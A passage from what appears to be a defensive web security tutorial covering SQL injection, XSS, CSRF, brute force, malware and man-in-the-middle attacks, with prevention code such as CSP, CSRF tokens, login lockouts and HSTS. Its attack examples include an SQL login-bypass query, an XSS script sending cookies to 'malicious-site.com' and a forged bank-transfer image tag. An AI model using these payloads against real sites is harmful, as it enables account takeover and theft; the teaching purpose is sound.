<h4 id="heading-2-filter-emails-and-use-threat-detection-tools">2. Filter emails and use threat detection tools</h4>
<p>Use advanced security and <a target="_blank" href="https://clean.email/blog/email-security/email-security-software">email management tools</a> to detect and quarantine phishing attempts before they reach inboxes. For example, <a target="_blank" href="https://guardiandigital.com/resources/blog/what-is-cloud-email-security-how-does-it-benefit-businesses">cloud email security</a> can help prevent attacks like phishing and ransomware from reaching your users.</p>
<p>These tools scan incoming emails for known malicious links, spoofed sender domains, and odd formatting. Some even add warning banners to emails that originate outside the organization. </p>
<h4 id="heading-3-require-mfa-across-all-systems">3. Require MFA across all systems</h4>
<p>Enforce <a target="_blank" href="https://en.wikipedia.org/wiki/Multi-factor_authentication">multi-factor authentication</a> across systems, so stolen passwords alone can’t unlock accounts.</p>
<p>Because even the best-trained employees can make mistakes. That’s where MFA comes in – it acts as a strong safety net by requiring an additional step (like a code sent to a phone or biometric login) before granting access to accounts. </p>
<p>This way, even if a password is compromised, attackers can’t log in without the second authentication factor. Make MFA mandatory for all critical tools, including email platforms, cloud services, and administrative panels.</p>
<p>To enable MFA (2-Step Verification) on your Google account:</p>
<ol>
<li><p>Go to <a target="_blank" href="https://myaccount.google.com/">Google Account Settings</a>.</p>
</li>
<li><p>Click on Security in the left sidebar.</p>
</li>
<li><p>Under "Signing in to Google", select 2-Step Verification and click Get Started.</p>
</li>
<li><p>Follow the prompts to verify your password, then choose your second factor (e.g., SMS, authenticator app, or hardware key).</p>
</li>
</ol>
<p>Once enabled, you'll be prompted to enter a code from your second factor every time you log in from an unrecognized device.</p>
<h4 id="heading-4-verify-unusual-requests">4. Verify unusual requests</h4>
<p>Instruct users to confirm unusual or sensitive requests by contacting the sender through trusted channels.</p>
<p>Many phishing attacks rely on social engineering tactics that impersonate executives, vendors, or IT staff. Teach employees to never trust high-risk requests such as wire transfers, password resets, or requests for sensitive data without verifying them first. </p>
<p>Emphasize that verification must happen through a separate channel. For example, calling the person directly or messaging them through a known company app. Simply replying to the original email or message could mean continuing the conversation with the attacker.</p>
<h2 id="heading-2-sql-injection-xss-and-csrf">2. SQL Injection, XSS, and CSRF</h2>
<p>Rather than "conning" users, these attacks exploit weaknesses in web elements and architecture.</p>
<p>Using malicious queries, scripts, and requests, hackers can bypass authentication, capture cookie data, and force transactions. They often target the very forms and scripts businesses rely on to capture leads or gather customer data.</p>
<h3 id="heading-sql-injection">SQL Injection</h3>
<p>Hackers send SQL codes through form input fields, the search bar, or URL parameters to access website databases. If the input isn't properly validated or sanitized, the database executes the attacker's code that will manipulate and <a target="_blank" href="https://www.aura.com/learn/how-to-find-out-if-my-information-is-on-the-dark-web">expose sensitive data on the dark web</a>.</p>
<p>SQL injection exploits unvalidated input fields to search, modify, or delete records from within the database.</p>
<p><strong>SQL injection example:</strong></p>
<pre><code class="lang-sql"><span class="hljs-keyword">SELECT</span> * <span class="hljs-keyword">FROM</span> <span class="hljs-keyword">users</span> <span class="hljs-keyword">WHERE</span> username = <span class="hljs-string">'admin'</span> <span class="hljs-comment">--' AND password = '';</span>
</code></pre>
<h3 id="heading-cross-site-scripting-xss">Cross-Site Scripting (XSS)</h3>
<p>Scripts are injected into web pages, leveraging them against future users.</p>
<p>Cross-Site Scripting (XSS) means that attackers can use scripts on web pages to steal session information from cookies or redirect users to "impersonation" sites.</p>
<p>Here’s how it works: A hacker injects a malicious script into a public form (such as a comment section). The website then displays the comment without sanitizing the content. Eventually, other users load the page and unknowingly run the attacker's script.</p>
<p><strong>XSS example:</strong></p>
<pre><code class="lang-javascript">&lt;script&gt;<span class="hljs-built_in">document</span>.location=<span class="hljs-string">'http://malicious-site.com?cookie='</span>+<span class="hljs-built_in">document</span>.cookie;&lt;/script&gt;
</code></pre>
<h3 id="heading-cross-site-request-forgery-csrf">Cross-Site Request Forgery (CSRF)</h3>
<p>These requests manipulate website users into unwanted actions.</p>
<p>Cross-Site Request Forgeries (CSRFs) attacks happen when a malicious site tricks a user’s browser into making an unwanted request to another site where they're already authenticated into transferring funds, changing contact information, or sharing account details.</p>
<p>Here’s an example: A logged-in user visits a malicious website. Without realizing it, the user's browser submits a hidden request to their legitimate bank site. The action (such as transferring money) happens under the user’s logged-in session without their approval.</p>
<p><strong>CSRF example:</strong></p>
<pre><code class="lang-xml"><span class="hljs-tag">&lt;<span class="hljs-name">img</span> <span class="hljs-attr">src</span>=<span class="hljs-string">"http://bank.com/transfer?amount=1000&amp;to=attacker_account"</span>&gt;</span>
</code></pre>
<h3 id="heading-how-to-prevent-script-injection-hacks">How to Prevent Script Injection Hacks</h3>
<p>To stop injection and scripted attacks, you and your team need to be aware of how they happen (which you now are) and how to prevent them. This means you’ll need to proactively build security measures into the website's architecture.</p>
<p>These hacks thrive on technical oversight – like unsanitized input fields, insecure headers, and weak session validations.</p>
<h4 id="heading-1-validate-all-user-input-to-eliminate-unsafe-entries">1. Validate all user input to eliminate unsafe entries</h4>
<p>One of the most common ways attackers exploit web applications is by injecting malicious code into unvalidated fields. Every input field, whether it’s for a name, local phone number, or comment, should be treated as a potential attack vector. </p>
<p>Always validate input both on the client side (for user experience) and the server side (for actual security). </p>
<p>For example, a “phone number” field should only accept digits, not special characters or scripts. Without strict validation, attackers can slip malicious code into your application that interacts directly with your database or browser DOM.</p>
<h4 id="heading-2-use-secure-frameworks-and-orms-to-sanitize-database-queries">2. Use secure frameworks and ORMs to sanitize database queries</h4>
<p>Manually writing SQL queries is risky, especially when those queries include user input. Instead, rely on trusted Object-Relational Mapping (ORM) tools like SQLAlchemy for Python, Hibernate for Java, or Eloquent for PHP. </p>
<p>These tools automatically sanitize inputs and parameterize queries, which means injected scripts or SQL statements won’t be executed as commands. This significantly reduces the chances of SQL injection and other code-based attacks that target your database infrastructure.</p>
<h4 id="heading-3-control-what-types-of-content-browsers-are-allowed-to-load">3. Control what types of content browsers are allowed to load</h4>
<p>Cross-site scripting (XSS) attacks often hide malicious code in scripts, images, or style sheets. To stop them, configure strict content security policies (CSPs) that tell browsers which resources are allowed to load on your site. </p>
<p>For instance, you can block JavaScript from third-party domains or restrict images and styles to those hosted on your server. This acts like a parental control system. It ensures that even if an attacker manages to inject a script, it won’t be executed if it violates the CSP rules.</p>
<p>To implement this kind of browser-level protection, you can define a Content Security Policy (CSP) that specifies which sources of content are considered trustworthy. Here's a basic example:</p>
<pre><code class="lang-xml"><span class="hljs-tag">&lt;<span class="hljs-name">meta</span> <span class="hljs-attr">http-equiv</span>=<span class="hljs-string">"Content-Security-Policy"</span> <span class="hljs-attr">content</span>=<span class="hljs-string">"default-src 'self'; script-src 'self'; style-src 'self'; img-src 'self' https://trusted-image-cdn.com;"</span>&gt;</span>
</code></pre>
<p>In this example, the CSP restricts all content (default-src) to only load from the same origin ('self'). JavaScript, CSS, and images are similarly restricted, with an exception that allows images from a trusted CDN. This kind of rule prevents the browser from loading scripts or assets from unapproved third-party domains.</p>
<h4 id="heading-4-implement-csrf-tokens-to-protect-against-cross-site-request-forgery">4. Implement CSRF tokens to protect against cross-site request forgery</h4>
<p>Cross-site request forgery (CSRF) tricks users into submitting unwanted actions on a web application where they’re already authenticated – like transferring money or changing passwords. </p>
<p>To stop this, implement unique, per-session CSRF tokens in every form submission. These tokens must be checked server-side to confirm that the request originated from your own site. Without a valid token, the server should automatically reject the request, which prevents attackers from forging it.</p>
<p>Here’s how a CSRF token might look in an HTML form:</p>
<pre><code class="lang-xml"><span class="hljs-tag">&lt;<span class="hljs-name">form</span> <span class="hljs-attr">action</span>=<span class="hljs-string">"/update-profile"</span> <span class="hljs-attr">method</span>=<span class="hljs-string">"POST"</span>&gt;</span>
  <span class="hljs-tag">&lt;<span class="hljs-name">input</span> <span class="hljs-attr">type</span>=<span class="hljs-string">"hidden"</span> <span class="hljs-attr">name</span>=<span class="hljs-string">"csrf_token"</span> <span class="hljs-attr">value</span>=<span class="hljs-string">"d7f5e3c2a6b8..."</span>&gt;</span>
  <span class="hljs-tag">&lt;<span class="hljs-name">input</span> <span class="hljs-attr">type</span>=<span class="hljs-string">"text"</span> <span class="hljs-attr">name</span>=<span class="hljs-string">"username"</span>&gt;</span>
  <span class="hljs-tag">&lt;<span class="hljs-name">button</span> <span class="hljs-attr">type</span>=<span class="hljs-string">"submit"</span>&gt;</span>Update<span class="hljs-tag">&lt;/<span class="hljs-name">button</span>&gt;</span>
<span class="hljs-tag">&lt;/<span class="hljs-name">form</span>&gt;</span>
</code></pre>
<p>On the server side, you should generate a unique token per user session and store it securely (for example, in a session or cookie). Every time a form is submitted, the server checks whether the submitted token matches the one it issued. If it doesn't, the request is rejected.</p>
<h4 id="heading-5-limit-user-privileges-to-reduce-the-blast-radius-of-a-breach">5. Limit user privileges to reduce the blast radius of a breach</h4>
<p>Don’t give full access to every user or system area. If lower-level accounts get compromised, limited access can wall off high-value data.</p>
<p>Set strict permission levels across your site, assigning the least privilege necessary for each role. If a lower-level account is compromised – say, a regular user or junior staff login – the damage is contained because that account can’t reach sensitive data or critical systems. </p>
<p>This principle of least privilege is essential for reducing exposure and protecting high-value assets even when other defenses fail.</p>
<p>This is where <strong>role-based access control (RBAC)</strong> comes in. With RBAC, you assign each user a role (like admin, editor, or viewer), and limit what actions they’re allowed to perform.</p>
<p>For example, in Node.js with Express:</p>
<pre><code class="lang-javascript"><span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">checkAdmin</span>(<span class="hljs-params">req, res, next</span>) </span>{
  <span class="hljs-keyword">if</span> (req.user &amp;&amp; req.user.role === <span class="hljs-string">'admin'</span>) {
    next();
  } <span class="hljs-keyword">else</span> {
    res.status(<span class="hljs-number">403</span>).send(<span class="hljs-string">'Access denied.'</span>);
  }
}

<span class="hljs-comment">// Apply this middleware to protect admin-only routes</span>
app.post(<span class="hljs-string">'/delete-user'</span>, checkAdmin, <span class="hljs-function">(<span class="hljs-params">req, res</span>) =&gt;</span> {
  <span class="hljs-comment">// delete logic</span>
});
</code></pre>
<h2 id="heading-3-brute-force-password-attacks"><strong>3. Brute Force Password Attacks</strong></h2>
<p>"Simple" attacks are still effective. When users rely on weak and reused passwords, brute force attacks identify login credentials using lists of common passwords and number-word-symbol combinations.</p>
<p>Attackers don’t need insider knowledge to succeed. They bet on patterns of human behavior. Default passwords, especially for shared corporate accounts (like "admin123!") or credentials reused across sites can get leaked in breaches completely unrelated to your website.</p>
<p>Hackers can try thousands of possibilities in two or three seconds. Bots can work to force access by testing 10,000 or 100,000 of the most-used passwords. Even if 1% of these passwords work, hundreds (or thousands) of accounts can be cracked open in two minutes.</p>
<h3 id="heading-how-to-stop-brute-force-hacking">How to Stop Brute Force Hacking</h3>
<p>Requiring a mix of uppercase, lowercase, numbers, symbols, and character-length minimums can make brute force less attractive. For most sites, minimum password length should be at least 12 characters. Certain sites should demand more.</p>
<h4 id="heading-1-use-temporary-account-lockouts-after-multiple-failed-attempts">1. Use temporary account lockouts after multiple failed attempts</h4>
<p>Lock accounts temporarily after 5–10 failed login attempts. This is one of the most effective ways to deter brute force attacks as it halts attackers from trying endless password combinations and dramatically slows down their efforts.</p>
<p>Even if an attacker uses bots or distributed IPs, these lockouts force them to start over or wait, buying you time to detect and respond to the threat. Some systems also offer progressive delays or account alerts after repeated failures to add an extra layer of defense.</p>
<p>Here’s an example in Node.js using Express and a simple in-memory store:</p>
<pre><code class="lang-javascript"><span class="hljs-keyword">const</span> loginAttempts = {}; <span class="hljs-comment">// Should be stored in a database or cache like Redis in production</span>
<span class="hljs-keyword">const</span> MAX_ATTEMPTS = <span class="hljs-number">5</span>;
<span class="hljs-keyword">const</span> LOCKOUT_TIME = <span class="hljs-number">10</span> * <span class="hljs-number">60</span> * <span class="hljs-number">1000</span>; <span class="hljs-comment">// 10 minutes</span>

<span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">checkLockout</span>(<span class="hljs-params">req, res, next</span>) </span>{
  <span class="hljs-keyword">const</span> username = req.body.username;
  <span class="hljs-keyword">const</span> userAttempts = loginAttempts[username] || { <span class="hljs-attr">count</span>: <span class="hljs-number">0</span>, <span class="hljs-attr">lockUntil</span>: <span class="hljs-literal">null</span> };

  <span class="hljs-keyword">if</span> (userAttempts.lockUntil &amp;&amp; <span class="hljs-built_in">Date</span>.now() &lt; userAttempts.lockUntil) {
    <span class="hljs-keyword">return</span> res.status(<span class="hljs-number">429</span>).send(<span class="hljs-string">'Account is temporarily locked. Try again later.'</span>);
  }

  req.userAttempts = userAttempts;
  next();
}

app.post(<span class="hljs-string">'/login'</span>, checkLockout, <span class="hljs-function">(<span class="hljs-params">req, res</span>) =&gt;</span> {
  <span class="hljs-keyword">const</span> { username, password } = req.body;
  <span class="hljs-keyword">const</span> isValid = authenticate(username, password); <span class="hljs-comment">// Your auth logic here</span>

  <span class="hljs-keyword">if</span> (!isValid) {
    <span class="hljs-keyword">const</span> attempts = req.userAttempts;
    attempts.count += <span class="hljs-number">1</span>;

    <span class="hljs-keyword">if</span> (attempts.count &gt;= MAX_ATTEMPTS) {
      attempts.lockUntil = <span class="hljs-built_in">Date</span>.now() + LOCKOUT_TIME;
    }

    loginAttempts[username] = attempts;
    <span class="hljs-keyword">return</span> res.status(<span class="hljs-number">401</span>).send(<span class="hljs-string">'Invalid credentials.'</span>);
  }

  <span class="hljs-comment">// Successful login: reset attempts</span>
  <span class="hljs-keyword">delete</span> loginAttempts[username];
  res.send(<span class="hljs-string">'Login successful!'</span>);
});
</code></pre>
<p>In production, you'd store login attempt data in a persistent or distributed system like Redis or your database. Many frameworks and platforms also support lockout policies natively or via security libraries, so you can configure them without writing this from scratch.</p>
<h4 id="heading-2-require-mfa-to-block-unauthorized-access">2. Require MFA to block unauthorized access</h4>
<p>Even if a password is guessed, multi-factor authentication (MFA) prompts like a text message or in-app code can block brute force access.</p>
<p>As explained before, with MFA, users must provide a second form of verification – like a time-sensitive code from an authentication app, a push notification, or a text message. This makes it extremely difficult for attackers to succeed, since they rarely have access to the victim’s second device or method of authentication.</p>
<h4 id="heading-3-add-captcha-to-prevent-bot-driven-password-guessing">3. Add CAPTCHA to prevent bot-driven password guessing</h4>
<p>Prevent bots from flooding login endpoints by throttling repeated access or requiring CAPTCHAs.</p>
<p>CAPTCHA tests distinguish human users from bots, forcing attackers to solve visual puzzles or interact with images – something bots can’t easily do. This drastically slows automated attempts and protects your login endpoints from being overwhelmed.</p>
<h4 id="heading-4-avoid-defaults-and-reused-credentials-on-all-systems">4. Avoid defaults and reused credentials on all systems</h4>
<p>Prevent repeating, past, or default credentials on devices, CMS plugins, and admin accounts before going live.</p>
<p>If these aren’t changed before going live, they become open doors for attackers. The same goes for reused credentials from past breaches. Brute force hackers often try known leaked passwords first. Ensure that all accounts – especially those with admin privileges – are set up with unique, strong, and non-repetitive credentials. Implement tools that scan for weak or default passwords before deployment.</p>
<h2 id="heading-4-malware-and-malicious-scripts"><strong>4. Malware and Malicious Scripts</strong></h2>
<p>The "mal" in malware is short for "malicious." One of the more destructive tools in the hacker arsenal, malware can capture keystrokes, hijack systems, steal data, and introduce many more varieties of unpleasantness:</p>
<ul>
<li><p><strong>Keyloggers</strong> record user keystrokes to steal credentials and account numbers.</p>
</li>
<li><p><strong>Spyware</strong> can monitor all user activity and viewed content without consent.</p>
</li>
<li><p><strong>Ransomware</strong> encrypts entire systems and demands payment for safe "return."</p>
</li>
</ul>
<p>Simply visiting a compromised or spoofed site can start installing malware without clicking anything. Hackers also embed malware in online ads by exploiting commercial networks – even on the most "legitimate" sites. Then, free themes, apps, and third-party plugins from unverified publishers can leave websites full of "backdoors."</p>
<h3 id="heading-how-to-prevent-website-malware">How to Prevent Website Malware</h3>
<p>You can use many tools to scan your website or emails for links, attachments, or media hiding malware packages inside. Regularly run a domain blacklist checker to ensure your site hasn't been flagged by security databases, which can block your domain from emails, search engines, or browser warnings. Outside these findings, stay true to the first principles of safe downloads, smart updates, and secure uploading:</p>
<h4 id="heading-1-trust-only-reputable-downloads-and-verified-sources">1. Trust only reputable downloads and verified sources</h4>
<p>Stick to official repositories, theme stores, and plugin developers with positive reputations and clear authorship when downloading website components like a Wordpress theme, plugins, or JavaScript library. </p>
<p>Avoid “nulled” or cracked versions of paid software, as these are common vehicles for hidden malware. Vet every third-party tool for reputation and transparency before adding it to your tech stack.</p>
<h4 id="heading-2-keep-all-software-plugins-and-platforms-up-to-date">2. Keep all software, plugins, and platforms up to date</h4>
<p>Outdated CMS platforms, plugins, and server-side scripts are some of the most common vulnerabilities exploited by malware. Hackers actively scan for known security flaws in older versions of software. </p>
<p>To stay ahead, enable automatic updates whenever possible, or establish a consistent patching schedule (weekly or monthly) to check and apply updates across your stack. Don’t overlook minor version updates as they often contain critical security fixes.</p>
<h4 id="heading-3-scan-and-restrict-user-uploaded-files">3. Scan and restrict user-uploaded files</h4>
<p>If your site allows user uploads, like pictures or attachments, scan every file for malware while enforcing file types.</p>
<p>Enforce strict upload rules: limit file types to only what’s necessary (for example, .jpg, .png, .pdf), apply maximum file size limits, and run malware scans on each file before it’s processed or stored. Use server-side validation and sandboxing to inspect uploads without risking your core infrastructure.</p>
<h4 id="heading-4-run-regular-malware-and-domain-blacklist-scans">4. Run regular malware and domain blacklist scans</h4>
<p>Proactively scan your website for malware using security tools like Sucuri, VirusTotal, or your hosting provider’s built-in scanners. These tools help detect suspicious code, hidden iframes, malicious redirects, or trojan injections. </p>
<p>You can also use a domain blacklist checker to ensure your website hasn’t been flagged by Google Safe Browsing, Norton Safe Web, or other security databases. Being blacklisted can prevent your emails from reaching inboxes and may trigger browser security warnings for visitors.</p>
<h4 id="heading-5-limit-admin-access-and-use-secure-file-permissions">5. Limit admin access and use secure file permissions</h4>
<p>Malware infections often stem from weak admin access policies. Limit the number of users who have backend access, especially to high-privilege areas. </p>
<p>Use unique, strong passwords and multi-factor authentication for all admin accounts. On the server side, set strict file permissions (for example, 644 for files and 755 for directories) to prevent unauthorized modifications. Avoid giving full write access unless absolutely necessary.</p>
<h2 id="heading-5-man-in-the-middle-attacks-and-public-connections"><strong>5. Man-in-the-Middle Attacks and Public Connections</strong></h2>
<p>Man-in-the-Middle (MitM) attacks intercept data between a user and a website – especially over unsecured or public networks like Wi-Fi in a coffee shop.</p>
<p>Whenever you send or receive data, there’s always a chance someone is actively listening. After ordering their latte, a customer logs into their account on public Wi-Fi. Meanwhile, a hacker's "packet sniffer" captures the session's cookies, hijacking their account.</p>
<p>Packet sniffing is a technique where attackers use software tools to monitor and capture data packets transmitted over a network. On unsecured Wi-Fi and without encryption, these tools can pick up login details, messages, or even credit card numbers.</p>
<h3 id="heading-how-to-secure-personal-data-connections">How to Secure Personal Data Connections</h3>
<p>A combination of education and SSL certificates cut out "middle man" hacks and attacks. Here are ways to enforce these protections:</p>
<h4 id="heading-1-use-https-to-encrypt-all-browser-server-communications">1. Use HTTPS to encrypt all browser-server communications</h4>
<p>HTTPS ensures that data transferred between a user's browser and your website is encrypted, preventing attackers from intercepting login credentials, form submissions, or payment details. </p>
<p>To implement this, install an SSL/TLS certificate on your site. Most hosting providers now offer free SSL certificates through services like Let’s Encrypt, and many platforms make installation simple.</p>
<p>Here’s how to install an SSL certificate using Let’s Encrypt on a server running Nginx:</p>
<pre><code class="lang-bash"><span class="hljs-comment"># Step 1: Install Certbot</span>
sudo apt update
sudo apt install certbot python3-certbot-nginx

<span class="hljs-comment"># Step 2: Run Certbot to get and install your certificate</span>
sudo certbot --nginx

<span class="hljs-comment"># Certbot will prompt you to choose your domain and configure HTTPS automatically</span>
</code></pre>
<p>If you're using a managed hosting provider like Bluehost, SiteGround, or Shopify, you can typically enable HTTPS with just a few clicks in your dashboard. That means no code or terminal commands required.</p>
<h4 id="heading-2-redirect-all-http-traffic-to-https-automatically">2. Redirect all HTTP traffic to HTTPS automatically</h4>
<p>Having an SSL certificate isn’t enough if users can still access your site through unsecured HTTP. Set up automatic redirection rules (via .htaccess or server settings) to ensure that every visit is routed through HTTPS. </p>
<p>Here’s how to set up HTTPS redirection using .htaccess on an Apache server:</p>
<pre><code class="lang-apache"><span class="hljs-attribute"><span class="hljs-nomarkup">RewriteEngine</span></span> <span class="hljs-literal">On</span>
<span class="hljs-attribute"><span class="hljs-nomarkup">RewriteCond</span></span> <span class="hljs-variable">%{HTTPS}</span> <span class="hljs-literal">off</span>
<span class="hljs-attribute"><span class="hljs-nomarkup">RewriteRule</span></span> ^(.*)$ https://<span class="hljs-variable">%{HTTP_HOST}</span><span class="hljs-variable">%{REQUEST_URI}</span><span class="hljs-meta"> [L,R=301]</span>
</code></pre>
<p>But most modern hosting platforms (like Netlify, Vercel, or Cloudflare) allow you to enable this redirect with a toggle in the dashboard—no manual config needed.</p>
<p>This step ensures that no part of your site can be accessed insecurely, closing the door on potential Man-in-the-Middle attacks that rely on intercepting data from unencrypted connections.</p>
<h4 id="heading-3-educate-users-on-risks-and-promote-safe-browsing-habits">3. Educate users on risks and promote safe browsing habits</h4>
<p>Even if your website is secure, users accessing it through public or unsecured networks (like airport or coffee shop Wi-Fi) are still vulnerable. Encourage users to use VPN tools and protective software to "tunnel" their data directly when using websites on public networks.</p>
<p>A VPN creates a private, encrypted tunnel for their internet activity, adding another layer of protection between them and potential attackers. You can include this advice in help center articles, login pages, or during onboarding for security-conscious services.</p>
<h4 id="heading-4-implement-http-strict-transport-security-hsts"><strong>4. Implement HTTP Strict Transport Security (HSTS).</strong></h4>
<p>HSTS is a response header that tells browsers to always connect via HTTPS – even if a user manually types “http://”. This eliminates the risk of SSL stripping attacks, where hackers downgrade secure HTTPS connections to insecure HTTP to intercept data. Configuring HSTS ensures long-term enforcement of secure access and further hardens your website’s security posture.</p>
<p>To enable HSTS, add this response header to your server configuration or .htaccess file:</p>
<pre><code class="lang-apache"><span class="hljs-attribute"><span class="hljs-nomarkup">Header</span></span> always set Strict-Transport-Security <span class="hljs-string">"max-age=63072000; includeSubDomains; preload"</span>
</code></pre>
<ul>
<li><p>max-age=63072000 sets the policy to last for two years (in seconds).</p>
</li>
<li><p>includeSubDomains applies HSTS to all subdomains.</p>
</li>
<li><p>preload allows your domain to be included in browser preload lists for even stronger protection (requires submission to <a target="_blank" href="https://hstspreload.org">hstspreload.org</a>).</p>
</li>
</ul>
<p>HSTS adds another layer of insurance. Once a browser sees this header, it refuses to connect to your site via HTTP ever again</p>
<h4 id="heading-5-disable-outdated-or-vulnerable-protocols-and-ciphers">5. Disable outdated or vulnerable protocols and ciphers</h4>
<p>As SSL/TLS standards evolve, older versions (like SSL 2.0 or TLS 1.0) are no longer secure and should be disabled on your server. Instead, enforce the use of TLS 1.2 or higher. </p>
<p>Also, configure your server to only support strong cipher suites and disable weak ones to prevent downgrade and decryption attacks.</p>
<p>Example for NGINX:</p>
<pre><code class="lang-nginx"><span class="hljs-attribute">ssl_protocols</span> TLSv1.<span class="hljs-number">2</span> TLSv1.<span class="hljs-number">3</span>;

<span class="hljs-attribute">ssl_ciphers</span> <span class="hljs-string">'ECDHE-ECDSA-AES256-GCM-SHA384:
             ECDHE-RSA-AES256-GCM-SHA384:
             ECDHE-ECDSA-CHACHA20-POLY1305:
             ECDHE-RSA-CHACHA20-POLY1305:
             ECDHE-ECDSA-AES128-GCM-SHA256:
             ECDHE-RSA-AES128-GCM-SHA256'</span>;

<span class="hljs-attribute">ssl_prefer_server_ciphers</span> <span class="hljs-literal">on</span>;
</code></pre>
<p>This setup forces modern, secure encryption while disabling old, vulnerable algorithms. After applying these settings, restart your server to enforce them.</p>
<p>Once your cipher suite configuration is in place, it's a good idea to test it and regularly audit your server’s SSL configuration using tools like SSL Labs to verify that your server supports only secure protocols and ciphers, and to ensure <a target="_blank" href="https://www.timedoctor.com/blog/cybersecurity-compliance/">cybersecurity compliance</a> with current best practices.</p>
<h2 id="heading-6-outdated-software-and-old-plugins"><strong>6. Outdated Software and Old Plugins</strong></h2>
<p>Outdated code is the hacker's favorite security feature. Poor maintenance not only threatens data but also damages SaaS retention. When users don’t feel safe, even the best user analytical tools can’t fix churn. Major CMS platforms (like WordPress and SquareSpace) use themes, plugins, and third-party software requiring almost constant updating.</p>
<p>Unknowingly, each of these could smuggle in weaknesses for data thievery. When updates are released, they often intend to fix security issues, pesky bugs, and freshly discovered vulnerabilities.</p>
<h3 id="heading-how-to-patch-and-update-website-security">How to Patch and Update Website Security</h3>
<p>Public information – like official software notes about new security patches and resolved bugs – can then act as a flaw menu for attacking apps yet to update. Every user with out-of-date access poses a threat to the system. Don't let these be issues your developers have already "designed away."</p>
<h4 id="heading-1-schedule-regular-patching-cycles-for-your-site-apps-and-services">1. Schedule regular patching cycles for your site, apps, and services</h4>
<p>A site, app, or service should set weekly or monthly times to check version numbers and push patch updates. You should assign responsibility to a specific team member or set up alerts to stay on top of newly released patches from software vendors.</p>
<p>By failing to apply updates promptly, you're leaving your systems exposed to risks that are already documented and potentially being exploited.</p>
<h4 id="heading-2-allow-auto-updates-wherever-safe-and-possible">2. Allow auto-updates wherever safe and possible</h4>
<p>Most CMS platforms for publishing sites include the option for installing automatic updates to core files and plugins.</p>
<p>Enabling this can dramatically reduce your site's vulnerability window, especially for minor updates and security patches. While some major updates may still require testing before implementation, enabling automatic updates for critical security releases ensures your site isn't left behind while you wait for manual intervention.</p>
<h4 id="heading-3-audit-and-remove-unused-software-plugins-and-themes">3. Audit and remove unused software, plugins, and themes</h4>
<p>The most dangerous security flaws are the forgotten ones, so remove unused themes or plugins before they can be exploited.</p>
<p>Make it a habit to run regular audits of your system, remove anything you’re not actively using, and replace poorly maintained tools with better-supported alternatives. Even dormant or inactive themes can contain vulnerable code that can be exploited if not cleaned out.</p>
<h2 id="heading-7-apis-integrations-and-third-party-attacks"><strong>7. APIs, Integrations, and Third-Party Attacks</strong></h2>
<p>The vast majority of websites depend on API connections and third-party scripts to monitor analytics to process payments. Every connection – no matter how slight – should come with a warning.</p>
<p>Like late-to-update users, attackers also exploit APIs to bypass authentication, use third-party tools to extract data, and infect partner sites with malware. Your own code may be watertight, flawless, and impenetrable – but insecure APIs and third-party tools share their every weakness.</p>
<p>Consider a supply chain attack. A JavaScript library embedded on thousands of sites is wrapped up with multiple malware scripts. The sites who rely on the library become new territory for attack, draining user data from hundreds of sites that rely on that library.</p>
<h3 id="heading-how-to-secure-integrations-and-apis">How to Secure Integrations and APIs</h3>
<h4 id="heading-1-require-strong-authentication-for-all-api-and-integration-requests">1. Require strong authentication for all API and integration requests</h4>
<p>A third-party app, plugin, or external script, and every other connection to your system should prove its identity before accessing your data or services. </p>
<p>This is typically done using secure methods like API keys, OAuth tokens, or client certificates.</p>
<ul>
<li><p><strong>API keys:</strong> These are unique tokens generated by your system and issued to approved clients. Clients include the key in their request headers (e.g., Authorization: Bearer YOUR_API_KEY), and your backend checks the key's validity before processing the request. While simple to implement, API keys should be rotated regularly and kept confidential.</p>
</li>
<li><p><strong>OAuth tokens:</strong> OAuth is ideal when users need to grant limited access to their data without sharing credentials. Your system acts as an authorization server and issues temporary access tokens. Clients send these tokens with requests, and your API validates them. OAuth also supports scopes and expirations, giving you fine-grained access control.</p>
</li>
<li><p><strong>Client certificates:</strong> For higher security (especially between servers), use mutual TLS (mTLS). In this setup, both the client and server authenticate each other using X.509 certificates. It adds a strong layer of trust by validating identities through cryptographic means (especially useful in banking or enterprise integrations).</p>
</li>
</ul>
<p>By enforcing authentication, you ensure that only authorized systems can make requests, greatly reducing the risk of unauthorized access or data leaks. Rotate these keys regularly and monitor their usage to detect suspicious behavior early.</p>
<h4 id="heading-2-sanitize-and-validate-all-incoming-data-even-from-trusted-third-parties">2. Sanitize and validate all incoming data, even from trusted third parties</h4>
<p>It's a mistake to assume that data from integrated partners or services is automatically safe. Every piece of data you receive, be it a payment gateway, analytics tool, or marketing app, should be treated as potentially unsafe until verified. </p>
<p>Apply the same input validation rules you use for end-user data: check formats, restrict values, and escape inputs before they interact with your system. This protects you from injection attacks, corrupted data, and API misuse.</p>
<p>To make this more concrete, here’s a simple example of how you might validate incoming data with JavaScript from a marketing app or third-party integration:</p>
<pre><code class="lang-javascript"><span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">validateIncomingData</span>(<span class="hljs-params">data</span>) </span>{
  <span class="hljs-keyword">const</span> emailPattern = <span class="hljs-regexp">/^[^\s@]+@[^\s@]+\.[^\s@]+$/</span>;
  <span class="hljs-keyword">const</span> phonePattern = <span class="hljs-regexp">/^\+\d{1,3}\d{7,14}$/</span>; <span class="hljs-comment">// E.164 international format</span>

  <span class="hljs-keyword">if</span> (!emailPattern.test(data.email)) {
    <span class="hljs-keyword">throw</span> <span class="hljs-keyword">new</span> <span class="hljs-built_in">Error</span>(<span class="hljs-string">"Invalid email address"</span>);
  }

  <span class="hljs-keyword">if</span> (!phonePattern.test(data.phone)) {
    <span class="hljs-keyword">throw</span> <span class="hljs-keyword">new</span> <span class="hljs-built_in">Error</span>(<span class="hljs-string">"Invalid phone number format"</span>);
  }

  <span class="hljs-keyword">if</span> (<span class="hljs-keyword">typeof</span> data.campaignId !== <span class="hljs-string">'string'</span> || data.campaignId.trim() === <span class="hljs-string">''</span>) {
    <span class="hljs-keyword">throw</span> <span class="hljs-keyword">new</span> <span class="hljs-built_in">Error</span>(<span class="hljs-string">"Missing or invalid campaign ID"</span>);
  }
  <span class="hljs-keyword">return</span> <span class="hljs-literal">true</span>;
}
</code></pre>
<p>This snippet validates a properly formatted email address, a phone number in international format, and a non-empty campaign ID to ensure tracking consistency. By validating input like this before it’s processed or stored, you reduce the risk of injection attacks, data corruption, or accidental misuse from faulty third-party integrations</p>
<h4 id="heading-3-use-subresource-integrity-sri-to-verify-third-party-resources">3. Use Subresource Integrity (SRI) to verify third-party resources</h4>
